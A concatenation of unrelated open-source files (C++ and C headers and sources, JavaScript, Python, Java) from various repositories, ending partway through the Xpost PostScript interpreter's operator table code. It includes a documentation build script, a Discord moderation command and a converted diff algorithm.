virtual void update(BrainState& currentState, Memory& mem) = 0;
};
#endif
|
958328814/dreamdota | DreamWarcraft/ToolTip.h | #ifndef TOOLTIP_H_
#define TOOLTIP_H_
#include "UISimpleFrame.h"
#include "UISimpleFontString.h"
class Button;
class ToolTip {
public:
static ToolTip *Create(
UISimpleFrame *parent,
float width,
float height,
const char *formattedContent,
bool dontStore = false
);
static void Destroy(ToolTip *tooltip);
void bindButton(Button *button);
void applyPosition();
void show();
void hide();
private:
ToolTip();
UISimpleFrame* _frame;
UISimpleFontString* _text;
};
void ToolTip_Init();
void ToolTip_Cleanup();
#endif |
fengyiyi/fontello | lib/runner/application.js | // Base structure of (sub-)application. Holds root, name and version of ana
// application. In future will also hold init() function that wil be called
// upon runner's applications init stage.
"use strict";
// stdlib
var path = require("path");
var prop = Object.defineProperty;
////////////////////////////////////////////////////////////////////////////////
function Application(options) {
var data = require(path.join(options.root, 'package'));
prop(this, 'root', { value: options.root, enumerable: true });
prop(this, 'name', { value: data.name, enumerable: true });
prop(this, 'version', { value: data.version, enumerable: true });
prop(this, 'init', { value: options.init || function () {} });
}
////////////////////////////////////////////////////////////////////////////////
module.exports = Application;
|
divyang4481/quickfast | src/Codecs/FieldOpNop.h | <filename>src/Codecs/FieldOpNop.h
// Copyright (c) 2009, Object Computing, Inc.
// All rights reserved.
// See the file license.txt for licensing information.
#ifdef _MSC_VER
# pragma once
#endif
#ifndef FIELDOPNOP_H
#define FIELDOPNOP_H
#include <Codecs/FieldOp.h>
namespace QuickFAST{
namespace Codecs{
/// @brief Dispatch to the appropriate method in a FieldInstruction when no operator is specified.
class /*QuickFAST_Export */ FieldOpNop
: public FieldOp
{
public:
virtual bool usesPresenceMap(bool mandatory)const;
virtual bool usesDictionary() const;
virtual void decode(
const Codecs::FieldInstruction & instruction,
Codecs::DataSource & source,
Codecs::PresenceMap & pmap,
Codecs::Decoder & decoder,
Messages::ValueMessageBuilder & fieldSet) const;
virtual void encode(
const Codecs::FieldInstruction & instruction,
Codecs::DataDestination & destination,
Codecs::PresenceMap & pmap,
Codecs::Encoder & encoder,
const Messages::MessageAccessor & fieldSet) const;
virtual void setDefaultValue(
Codecs::FieldInstruction & instruction) const;
virtual OpType opType()const;
};
inline
bool
FieldOpNop::usesPresenceMap(bool /*mandatory*/)const
{
return false;
}
inline
bool
FieldOpNop::usesDictionary() const
{
return false;
}
inline
FieldOp::OpType
FieldOpNop::opType()const
{
return NOP;
}
inline
void
FieldOpNop::decode(
const Codecs::FieldInstruction & instruction,
Codecs::DataSource & source,
Codecs::PresenceMap & pmap,
Codecs::Decoder & decoder,
Messages::ValueMessageBuilder & fieldSet) const
{
instruction.decodeNop(source, pmap, decoder, fieldSet);
}
inline
void
FieldOpNop::encode(
const Codecs::FieldInstruction & instruction,
Codecs::DataDestination & destination,
Codecs::PresenceMap & pmap,
Codecs::Encoder & encoder,
const Messages::MessageAccessor & fieldSet) const
{
return instruction.encodeNop(destination, pmap, encoder, fieldSet);
}
inline
void
FieldOpNop::setDefaultValue(
Codecs::FieldInstruction & /*instruction*/) const
{
}
}
}
#endif // FIELDOPNOP_H
|
QIB-Sheffield/WEASEL | create_weasel_manual.py | <filename>create_weasel_manual.py
import os, shutil
from sys import platform
import venv
def CopyTree(src, dst, symlinks=False, ignore=None):
if not os.path.exists(dst):
os.makedirs(dst)
for item in os.listdir(src):
s = os.path.join(src, item)
d = os.path.join(dst, item)
if os.path.isdir(s):
CopyTree(s, d, symlinks, ignore)
else:
if not os.path.exists(d) or os.stat(s).st_mtime - os.stat(d).st_mtime > 1:
shutil.copy2(s, d)
print("Preparing the Folder Structure...")
docs_folder = os.path.join(os.getcwd(), "Documents")
manual_folder = os.path.join(docs_folder, "Manual")
temporary_folder = os.path.join(docs_folder, "temp")
weasel_copy_folder = os.path.join(temporary_folder, "Weasel")
#############################################################
api_folder = os.path.join(os.getcwd(), "API")
coremodules_folder = os.path.join(os.getcwd(), "CoreModules")
dicom_folder = os.path.join(os.getcwd(), "DICOM")
displays_folder = os.path.join(os.getcwd(), "Displays")
menus_folder = os.path.join(os.getcwd(), "Menus")
pipelines_folder = os.path.join(os.getcwd(), "Pipelines")
external_folder = os.path.join(os.getcwd(), "External", "Tools")
weasel_file = os.path.join(os.getcwd(), "Weasel.py")
init_file = os.path.join(docs_folder, "__init__.py")
external_file = os.path.join(os.getcwd(), "External", "__init__.py")
print("Deleting contents inside the 'Manual' folder")
if os.path.exists(manual_folder):
shutil.rmtree(manual_folder)
print("Creating temporary Python files and modules to generate the documentation...")
os.makedirs(weasel_copy_folder, exist_ok=True)
CopyTree(api_folder, os.path.join(weasel_copy_folder, "API"))
CopyTree(coremodules_folder, os.path.join(weasel_copy_folder, "CoreModules"))
CopyTree(dicom_folder, os.path.join(weasel_copy_folder, "DICOM"))
CopyTree(displays_folder, os.path.join(weasel_copy_folder, "Displays"))
CopyTree(menus_folder, os.path.join(weasel_copy_folder, "Menus"))
CopyTree(pipelines_folder, os.path.join(weasel_copy_folder, "Pipelines"))
CopyTree(external_folder, os.path.join(weasel_copy_folder, "External", "Tools"))
shutil.copyfile(weasel_file, os.path.join(weasel_copy_folder, "Weasel.py"))
shutil.copyfile(init_file, os.path.join(weasel_copy_folder, "__init__.py"))
shutil.copyfile(external_file, os.path.join(weasel_copy_folder, "External", "__init__.py"))
print("Creating Python Virtual Environment for the occasion...")
venv_dir = os.path.join(os.getcwd(), "venv")
os.makedirs(venv_dir, exist_ok=True)
venv.create(venv_dir, with_pip=True)
print("Activating the Python Virtual Environment created...")
# Windows
if platform == "win32" or platform == "win64" or os.name == 'nt':
activation_command = str(venv_dir) + "\\Scripts\\activate"
# MacOS and Linux
else:
activation_command = ". " + str(venv_dir) + "/bin/activate"
print("Installing Python packages in the Virtual Environment...")
os.system(activation_command + ' && pip install -e .')
print("Creating Weasel manual using pdoc3...")
doc_command = "pdoc3 --html --force --output-dir " + str(docs_folder) + " " + str(weasel_copy_folder)
os.system(activation_command + ' && ' + doc_command)
print("Moving documentation files to the 'Manual' folder and deleting temporary files...")
shutil.rmtree(temporary_folder)
shutil.rmtree(venv_dir)
shutil.rmtree("Weasel.egg-info")
shutil.move(os.path.join(docs_folder, "Weasel"), manual_folder)
print("HTML documentation files successfully created and saved in the 'Manual' folder!") |
frc5024/MiniBot | docs/html/namespacefrc_1_1common_1_1loopables.js | var namespacefrc_1_1common_1_1loopables =
[
[ "LoopableSubsystem", "classfrc_1_1common_1_1loopables_1_1LoopableSubsystem.html", "classfrc_1_1common_1_1loopables_1_1LoopableSubsystem" ]
]; |
canusluel/NeedforSpear | src/main/java/tr/edu/ku/devnull/needforspear/View/PlayViews/SwitchModeSubscriber.java | <filename>src/main/java/tr/edu/ku/devnull/needforspear/View/PlayViews/SwitchModeSubscriber.java<gh_stars>0
package tr.edu.ku.devnull.needforspear.View.PlayViews;
/**
* Observer pattern on Switch to Running Mode button
* where the subscriber is the GamePanel to animate obstacles
* and sphere depending on if the game is in running or build mode
*
* @author <NAME>
*/
public interface SwitchModeSubscriber {
void update();
}
|
zakharchenkoAndrii/expo | apps/bare-expo/metro.config.js | const { createMetroConfiguration } = require('expo-yarn-workspaces');
const baseConfig = createMetroConfiguration(__dirname);
module.exports = {
...baseConfig,
// NOTE(brentvatne): This can be removed when
// https://github.com/facebook/metro/issues/290 is fixed.
server: {
enhanceMiddleware: middleware => {
return (req, res, next) => {
// When an asset is imported outside the project root, it has wrong path on Android
// This happens for the back button in stack, so we fix the path to correct one
const assets = '/node_modules/@react-navigation/stack/src/views/assets';
if (req.url.startsWith(assets)) {
req.url = req.url.replace(assets, `/assets/../..${assets}`);
}
// Same as above when testing anything required via Asset.downloadAsync() in test-suite
const testSuiteAssets = '/test-suite/assets/';
if (req.url.startsWith(testSuiteAssets)) {
req.url = req.url.replace(testSuiteAssets, '/assets/../test-suite/assets/');
}
const nclAssets = '/native-component-list/';
if (req.url.startsWith(nclAssets)) {
req.url = req.url.replace(nclAssets, '/assets/../native-component-list/');
}
return middleware(req, res, next);
};
},
},
};
|
SunStriderxxx/my-java-algorithms | algorithms/leetcode/Problem124.java | <filename>algorithms/leetcode/Problem124.java<gh_stars>1-10
package leetcode;
/**
* @author Fcb
* @date 2020/6/21
* @description 二叉树中的最大路径和
* 给定一个非空二叉树,返回其最大路径和。
*
* 本题中,路径被定义为一条从树中任意节点出发,达到任意节点的序列。该路径至少包含一个节点,且不一定经过根节点。
*
* 示例 1:
*
* 输入: [1,2,3]
*
* 1
* / \
* 2 3
*
* 输出: 6
* 示例 2:
*
* 输入: [-10,9,20,null,null,15,7]
*
* -10
* / \
* 9 20
* / \
* 15 7
*
* 输出: 42
*
* 来源:力扣(LeetCode)
* 链接:https://leetcode-cn.com/problems/binary-tree-maximum-path-sum
* 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。
*/
public class Problem124 {
/**
* 解题思路:深度优先
*/
private int max = 0;
public int maxPathSum(TreeNode root) {
if (root == null) {
return 0;
}
int leftMax = maxPathSum(root.left);
return max;
}
public class TreeNode {
int val;
TreeNode left;
TreeNode right;
TreeNode(int x) { val = x; }
}
}
|
RuntimeConverter/PHPUnit-Java-Converted | phpunit-converted/src/main/java/com/project/convertedCode/globalNamespace/namespaces/SebastianBergmann/namespaces/Diff/classes/TimeEfficientLongestCommonSubsequenceCalculator.java | package com.project.convertedCode.globalNamespace.namespaces.SebastianBergmann.namespaces.Diff.classes;
import com.runtimeconverter.runtime.passByReference.PassByReferenceArgs;
import com.runtimeconverter.runtime.classes.StaticBaseClass;
import com.project.convertedCode.globalNamespace.namespaces.SebastianBergmann.namespaces.Diff.classes.LongestCommonSubsequenceCalculator;
import com.runtimeconverter.runtime.modules.standard.CRArrayF;
import com.runtimeconverter.runtime.classes.RuntimeClassBase;
import com.runtimeconverter.runtime.RuntimeEnv;
import com.runtimeconverter.runtime.ZVal;
import com.runtimeconverter.runtime.reflection.ReflectionClassData;
import com.runtimeconverter.runtime.annotations.ConvertedParameter;
import com.runtimeconverter.runtime.arrays.ZPair;
import com.runtimeconverter.runtime.nativeClasses.spl.datastructures.SplFixedArray;
import com.project.convertedCode.globalNamespace.NamespaceGlobal;
import com.runtimeconverter.runtime.annotations.ConvertedMethod;
import static com.runtimeconverter.runtime.ZVal.assignParameter;
/*
Converted with The Runtime Converter (runtimeconverter.com)
vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php
*/
public final class TimeEfficientLongestCommonSubsequenceCalculator extends RuntimeClassBase
implements LongestCommonSubsequenceCalculator {
public TimeEfficientLongestCommonSubsequenceCalculator(RuntimeEnv env, Object... args) {
super(env);
}
@ConvertedMethod
@ConvertedParameter(index = 0, name = "from", typeHint = "array")
@ConvertedParameter(index = 1, name = "to", typeHint = "array")
public Object calculate(RuntimeEnv env, Object... args) {
Object from = assignParameter(args, 0, null);
if (ZVal.isNull(from)) {
from = ZVal.newArray();
}
Object to = assignParameter(args, 1, null);
if (ZVal.isNull(to)) {
to = ZVal.newArray();
}
Object common = ZVal.newArray();
Object width = null;
Object fromLength = null;
Object i = null;
Object j = null;
Object matrix = ZVal.newArray();
Object toLength = null;
Object o = null;
common = ZVal.newArray();
fromLength = CRArrayF.count.env(env).call(from).value();
toLength = CRArrayF.count.env(env).call(to).value();
width = ZVal.add(fromLength, 1);
matrix = new SplFixedArray(env, ZVal.multiply(width, ZVal.add(toLength, 1)));
for (i = 0; ZVal.isLessThanOrEqualTo(i, "<=", fromLength); i = ZVal.increment(i)) {
ZVal.putArrayElement(matrix, i, 0);
}
for (j = 0; ZVal.isLessThanOrEqualTo(j, "<=", toLength); j = ZVal.increment(j)) {
ZVal.putArrayElement(matrix, ZVal.multiply(j, width), 0);
}
for (i = 1; ZVal.isLessThanOrEqualTo(i, "<=", fromLength); i = ZVal.increment(i)) {
for (j = 1; ZVal.isLessThanOrEqualTo(j, "<=", toLength); j = ZVal.increment(j)) {
o = ZVal.add(ZVal.multiply(j, width), i);
ZVal.putArrayElement(
matrix,
o,
NamespaceGlobal.max
.env(env)
.call(
ZVal.getElement(matrix, ZVal.subtract(o, 1)),
ZVal.getElement(matrix, ZVal.subtract(o, width)),
ZVal.strictEqualityCheck(
ZVal.getElement(from, ZVal.subtract(i, 1)),
"===",
ZVal.getElement(to, ZVal.subtract(j, 1)))
? ZVal.add(
ZVal.getElement(
matrix,
ZVal.subtract(
ZVal.subtract(o, width),
1)),
1)
: 0)
.value());
}
}
i = ZVal.assign(fromLength);
j = ZVal.assign(toLength);
while (ZVal.toBool(ZVal.isGreaterThan(i, '>', 0))
&& ZVal.toBool(ZVal.isGreaterThan(j, '>', 0))) {
if (ZVal.strictEqualityCheck(
ZVal.getElement(from, ZVal.subtract(i, 1)),
"===",
ZVal.getElement(to, ZVal.subtract(j, 1)))) {
ZVal.addToArray(common, ZVal.getElement(from, ZVal.subtract(i, 1)));
i = ZVal.decrement(i);
j = ZVal.decrement(j);
} else {
o = ZVal.add(ZVal.multiply(j, width), i);
if (ZVal.isGreaterThan(
ZVal.getElement(matrix, ZVal.subtract(o, width)),
'>',
ZVal.getElement(matrix, ZVal.subtract(o, 1)))) {
j = ZVal.decrement(j);
} else {
i = ZVal.decrement(i);
}
}
}
return ZVal.assign(CRArrayF.array_reverse.env(env).call(common).value());
}
public static final Object CONST_class =
"SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator";
// Runtime Converter Internals
// RuntimeStaticCompanion contains static methods
// RequestStaticProperties contains static (per-request) properties
// ReflectionClassData contains php reflection data used by the runtime library
public static class RuntimeStaticCompanion extends StaticBaseClass {}
public static final RuntimeStaticCompanion runtimeStaticObject = new RuntimeStaticCompanion();
private static final ReflectionClassData runtimeConverterReflectionData =
ReflectionClassData.builder()
.setName(
"SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator")
.setLookup(
TimeEfficientLongestCommonSubsequenceCalculator.class,
java.lang.invoke.MethodHandles.lookup())
.setLocalProperties()
.setFilename(
"vendor/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php")
.addInterface("LongestCommonSubsequenceCalculator")
.get();
@Override
public ReflectionClassData getRuntimeConverterReflectionData() {
return runtimeConverterReflectionData;
}
@Override
public Object converterRuntimeCallExtended(
RuntimeEnv env,
String method,
Class<?> caller,
PassByReferenceArgs passByReferenceArgs,
Object... args) {
return RuntimeClassBase.converterRuntimeCallExtendedWithDataStatic(
this,
runtimeConverterReflectionData,
env,
method,
caller,
passByReferenceArgs,
args);
}
}
|
JavaSummer/JavaMainRepo | Students/Kovacs Gellert/Assignment6+7/Zoowsome/src/javasmmr/zoowsome/models/interfaces/ZooFrame_I.java | package javasmmr.zoowsome.models.interfaces;
public interface ZooFrame_I {
public void goBack();
}
|
rapyuta-robotics/alica-plan-designer-fx | alica-plan-designer-fx-modelmanagement/src/main/java/de/unikassel/vs/alica/planDesigner/modelMixIns/StateMixIn.java | <reponame>rapyuta-robotics/alica-plan-designer-fx
package de.unikassel.vs.alica.planDesigner.modelMixIns;
import com.fasterxml.jackson.annotation.JsonAlias;
import com.fasterxml.jackson.annotation.JsonSubTypes;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.annotation.JsonDeserialize;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
import de.unikassel.vs.alica.planDesigner.alicamodel.*;
import de.unikassel.vs.alica.planDesigner.deserialization.ConfAbstractPlanWrapperDeserializer;
import de.unikassel.vs.alica.planDesigner.serialization.InternalRefSerializer;
import java.util.ArrayList;
@JsonTypeInfo( use = JsonTypeInfo.Id.NAME,
defaultImpl = State.class,
property = "type")
@JsonSubTypes({
@JsonSubTypes.Type(value = State.class),
@JsonSubTypes.Type(value = TerminalState.class),
})
public abstract class StateMixIn {
@JsonSerialize(using = InternalRefSerializer.class)
protected EntryPoint entryPoint;
@JsonSerialize(using = InternalRefSerializer.class)
protected Plan parentPlan;
@JsonSerialize(contentUsing = InternalRefSerializer.class)
protected ArrayList<Transition> inTransitions;
@JsonSerialize(contentUsing = InternalRefSerializer.class)
protected ArrayList<Transition> outTransitions;
// just necessary for backwards compatibility
@JsonAlias({"abstractPlans"})
@JsonDeserialize(contentUsing = ConfAbstractPlanWrapperDeserializer.class)
protected ArrayList<ConfAbstractPlanWrapper> confAbstractPlanWrappers;
}
|
sabob/springboot-angular-starter | backend/src/main/java/my/sample/config/proxy/interceptor/hateoas/HateoasStripperInterceptorConfigurer.java | package my.sample.config.proxy.interceptor.hateoas;
import com.github.mkopylec.charon.forwarding.interceptors.RequestForwardingInterceptorConfigurer;
public class HateoasStripperInterceptorConfigurer extends RequestForwardingInterceptorConfigurer<HateoasStripperInterceptor> {
private HateoasStripperInterceptorConfigurer() {
super( new HateoasStripperInterceptor() );
}
public static HateoasStripperInterceptorConfigurer hateoasStripperInterceptor() {
return new HateoasStripperInterceptorConfigurer();
}
}
|
ZerooCoding/music-bot | commands/ban.js | <gh_stars>1-10
const Discord = require('discord.js');
module.exports = {
name:"ban",
description:"Bans a person from the server",
async execute(message, args, client){
if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send(`You cannot use this command.`);
let user = message.mentions.members.first() || message.guild.members.cache.get(args[0]);;
let reason = args.slice(1).join(" ")
if(!user) return message.channel.send('Cannot find this user.');
if(!reason) return message.channel.send(`You need to specify a reason for banning the person`);
const ban = new Discord.MessageEmbed()
.setColor(`RED`)
.setTitle(`Banned ${user.tag}`)
.setDescription(`${message.author} banned ${user} for: \n **${reason}**`)
.setTimestamp();
message.channel.send(ban);
const userembed = new Discord.MessageEmbed()
.setColor(`RED`)
.setTitle(`You were banned`)
.setDescription(`You were banned for the reason: ${reason} \n - by ${message.author}`)
.setTimestamp();
try{
user.send(userembed);
} catch(e){
message.channel.send(`Could not send ${user} a dm regarding their ban.`);
}
user.ban({reason: `${reason}, Banned by User ID : ${message.author.id}`});
}
} |
guardian/giant | frontend/src/js/actions/email/getEmailThread.js | import {getEmailThread as getEmailThreadApi} from '../../services/EmailApi';
export function getEmailThread(uri) {
return dispatch => {
return getEmailThreadApi(uri)
.then(res => {
dispatch(receiveEmailThread(uri, res));
})
.catch(error => dispatch(errorReceivingEmailThread(error)));
};
}
function receiveEmailThread(uri, doc) {
return {
type: 'EMAIL_THREAD_RECEIVE',
uri: uri,
timeline: doc,
receivedAt: Date.now()
};
}
function errorReceivingEmailThread(error) {
return {
type: 'APP_SHOW_ERROR',
message: 'Failed to get email thread',
error: error,
receivedAt: Date.now()
};
}
|
mensinda/spirvPacker | cmake/templates/spvCfg.in.hpp | <reponame>mensinda/spirvPacker<gh_stars>1-10
/*
* Copyright (C) 2017 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#pragma once
#define SPDLOG_TRACE_ON
#include <spdlog/spdlog.h>
#include <stddef.h>
#include <stdint.h>
#define WIDEN2(x) L##x
#define WIDEN(x) WIDEN2(x)
#define W_FILE WIDEN(__FILE__)
// Detect compiler function macro
#if defined __clang__
// # define W_FUNC __PRETTY_FUNCTION__ // A bit to long ...
#define W_FUNC __func__
#elif defined __GNUC__
// # define W_FUNC __PRETTY_FUNCTION__ // A bit to long ...
#define W_FUNC __func__
#elif defined _MSC_VER
// # define W_FUNC __PRETTY_FUNCTION__ // A bit to long ...
#define W_FUNC __FUNCTION__
#else
#define W_FUNC __func__
#endif
// clang-format off
#define SPIRV_PACKER_VERSION_MAJOR @CM_VERSION_MAJOR@
#define SPIRV_PACKER_VERSION_MINOR @CM_VERSION_MINOR@
#define SPIRV_PACKER_VERSION_PATCH @CM_VERSION_PATCH@
#define SPIRV_PACKER_LAST_TAG_DIFF @CM_TAG_DIFF@
#define SPIRV_PACKER_COMMIT "@CM_VERSION_GIT@"
#define SPIRV_PACKER_INSTALL_PREFIX "@CMAKE_INSTALL_PREFIX@"
#define STD_FILESYSTEM_IS_EXPERIMENTAL true
#define SOURCE_DIR "@PROJECT_SOURCE_DIR@"
#define SPDLOG_LOGGER_NAME "spirvPacker"
#define SPDLOG_FORMAT_STRING "(%d:%m:%C %H:%M:%S) [%L]: %v"
// clang-format on
namespace spirvPacker {
inline std::shared_ptr<spdlog::logger> getLogger() {
std::shared_ptr<spdlog::logger> lLogger = spdlog::get(SPDLOG_LOGGER_NAME);
if (!lLogger) {
lLogger = spdlog::stdout_color_mt(SPDLOG_LOGGER_NAME);
lLogger->set_pattern(SPDLOG_FORMAT_STRING);
}
return lLogger;
}
} // namespace spirvPacker
|
Tech-XCorp/visit-deps | windowsbuild/MSVC2017/Qwt/6.1.2/doc/html/search/pages_69.js | var searchData=
[
['installing_20qwt',['Installing Qwt',['../qwtinstall.html',1,'']]]
];
|
mulle-kybernetik-tv/xpost | src/lib/xpost_operator.c | <reponame>mulle-kybernetik-tv/xpost
/*
2 * Xpost - a Level-2 Postscript interpreter
* Copyright (C) 2013-2016, <NAME>
* Copyright (C) 2013, <NAME>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name of the Xpost software product nor the names of its
* contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include <assert.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h> /* NULL */
#include <string.h> /* memcpy */
#include <stdint.h> /* uintptr_t */
#include "xpost.h"
#include "xpost_log.h"
#include "xpost_memory.h" // accesses mfile
#include "xpost_object.h" // operators are objects
#include "xpost_stack.h" // uses a stack for argument passing
#include "xpost_free.h" // grow signatures using xpost_free_realloc
#include "xpost_context.h"
#include "xpost_error.h" // operator functions may throw errors
#include "xpost_string.h" // uses string function to dump operator name
#include "xpost_name.h" // operator objects have associated names
#include "xpost_dict.h" // install operators in systemdict, a dict
//#include "xpost_interpreter.h" // works with context struct
#include "xpost_operator.h" // double-check prototypes
/* convert an integertype object to a realtype object */
static
Xpost_Object _promote_integer_to_real(Xpost_Object o)
{
return xpost_real_cons((real)o.int_.val);
}
/* copied from the header file for reference:
typedef struct Xpost_Signature {
int (*fp)(Xpost_Context *ctx);
int in;
unsigned t;
int (*checkstack)(Xpost_Context *ctx);
int out;
} Xpost_Signature;
typedef struct Xpost_Operator {
unsigned name;
int n; // number of sigs
unsigned sigadr;
} Xpost_Operator;
enum typepat ( anytype = stringtype + 1,
floattype, numbertype, proctype };
#define MAXOPS 20
*/
/* the number of ops, at any given time. */
static
int _xpost_noops = 0;
static
int _stack_none(Xpost_Context *ctx)
{
(void)ctx;
return 0;
}
static
int _stack_int(Xpost_Context *ctx)
{
Xpost_Object s0;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case integertype:
return 0;
default:
return typecheck;
}
}
static
int _stack_real(Xpost_Context *ctx)
{
Xpost_Object s0;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case realtype:
return 0;
default:
return typecheck;
}
}
static
int _stack_float(Xpost_Context *ctx)
{
Xpost_Object s0;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case integertype:
xpost_stack_topdown_replace(ctx->lo, ctx->os, 0, s0 = _promote_integer_to_real(s0));
case realtype:
return 0;
default:
return typecheck;
}
}
static
int _stack_any(Xpost_Context *ctx)
{
if (xpost_stack_count(ctx->lo, ctx->os) >= 1)
return 0;
return stackunderflow;
}
static
int _stack_bool_bool(Xpost_Context *ctx)
{
Xpost_Object s0, s1;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case booleantype:
s1 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 1);
switch(xpost_object_get_type(s1))
{
case invalidtype:
return stackunderflow;
case booleantype:
return 0;
default:
return typecheck;
}
default:
return typecheck;
}
}
static
int _stack_int_int(Xpost_Context *ctx)
{
Xpost_Object s0, s1;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case integertype:
s1 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 1);
switch(xpost_object_get_type(s1))
{
case invalidtype:
return stackunderflow;
case integertype:
return 0;
default:
return typecheck;
}
default:
return typecheck;
}
}
static
int _stack_float_float(Xpost_Context *ctx)
{
Xpost_Object s0, s1;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case integertype:
xpost_stack_topdown_replace(ctx->lo, ctx->os, 0, s0 = _promote_integer_to_real(s0));
case realtype:
s1 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 1);
switch(xpost_object_get_type(s1))
{
case invalidtype:
return stackunderflow;
case integertype:
xpost_stack_topdown_replace(ctx->lo, ctx->os, 1, s1 = _promote_integer_to_real(s1));
case realtype:
return 0;
default:
return typecheck;
}
default:
return typecheck;
}
}
static
int _stack_number_number(Xpost_Context *ctx)
{
Xpost_Object s0, s1;
s0 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 0);
switch(xpost_object_get_type(s0))
{
case invalidtype:
return stackunderflow;
case integertype: /* fallthrough */
case realtype:
s1 = xpost_stack_topdown_fetch(ctx->lo, ctx->os, 1);
switch(xpost_object_get_type(s1))
{
case invalidtype:
return stackunderflow;
case integertype: /* fallthrough */
case realtype:
return 0;
default:
return typecheck;
}
default:
return typecheck;
}
}
static
int _stack_any_any(Xpost_Context *ctx)
{
if (xpost_stack_count(ctx->lo, ctx->os) >= 2)
return 0;
return stackunderflow;
}
typedef struct {
int (*checkstack)(Xpost_Context *ctx);
int n;
int t[8];
} Xpost_Check_Stack;
static
Xpost_Check_Stack _check_stack_funcs[] = {
{ _stack_none, 0, { 0, 0, 0, 0, 0, 0, 0, 0} },
{ _stack_int, 1, { integertype } },
{ _stack_real, 1, { realtype } },
{ _stack_float, 1, { floattype } },
{ _stack_any, 1, { anytype } },
{ _stack_bool_bool, 2, { booleantype, booleantype } },
{ _stack_int_int, 2, { integertype, integertype } },
{ _stack_float_float, 2, { floattype, floattype } },
{ _stack_number_number, 2, { numbertype, numbertype } },
{ _stack_any_any, 2, { anytype, anytype } }
};
/* allocate the OPTAB structure in VM */
int xpost_operator_init_optab(Xpost_Context *ctx)
{
unsigned ent;
Xpost_Memory_Table *tab;
int ret;
ret = xpost_memory_table_alloc(ctx->gl, MAXOPS * sizeof(Xpost_Operator), 0, &ent);
if (!ret)
{
return 0;
}
tab = &ctx->gl->table;
assert(ent == XPOST_MEMORY_TABLE_SPECIAL_OPERATOR_TABLE);
tab->tab[ent].sz = 0; // so gc will ignore it
//printf("ent: %d\nOPTAB: %d\n", ent, (int)XPOST_MEMORY_TABLE_SPECIAL_OPERATOR_TABLE);
return 1;
}
/* print a dump of the operator struct given opcode */
void xpost_operator_dump(Xpost_Context *ctx,
int opcode)
{
Xpost_Operator *optab;
Xpost_Operator op;
Xpost_Object o;
Xpost_Object str;
char *s;
Xpost_Signature *sig;
unsigned int adr;
uintptr_t fp;
xpost_memory_table_get_addr(ctx->gl,
XPOST_MEMORY_TABLE_SPECIAL_OPERATOR_TABLE, &adr);
optab = (void *)(ctx->gl->base + adr);
op = optab[opcode];
o.mark_.tag = nametype | XPOST_OBJECT_TAG_DATA_FLAG_BANK;
o.mark_.pad0 = 0;
o.mark_.padw = op.name;
str = xpost_name_get_string(ctx, o);
s = xpost_string_get_pointer(ctx, str);
sig = (void *)(ctx->gl->base + op.sigadr);
memcpy(&fp, &sig[0].fp, sizeof fp);
/*
printf("<operator %d %d:%*s %p>",
opcode,
str.comp_.sz, str.comp_.sz, s,
(void *)fp );
*/
XPOST_LOG_DUMP("%*s ", str.comp_.sz, s);
}
/* create operator object by opcode number */
Xpost_Object xpost_operator_cons_opcode(int opcode)
{
Xpost_Object op;
